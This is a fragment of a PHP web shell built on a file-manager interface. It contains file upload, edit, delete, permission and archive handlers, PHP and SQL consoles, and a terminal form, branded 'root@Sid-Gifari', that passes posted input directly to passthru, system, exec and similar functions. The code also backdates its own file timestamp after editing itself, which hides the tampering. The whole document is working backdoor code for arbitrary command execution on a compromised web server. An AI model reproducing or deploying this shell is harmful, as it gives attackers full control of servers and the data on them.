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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
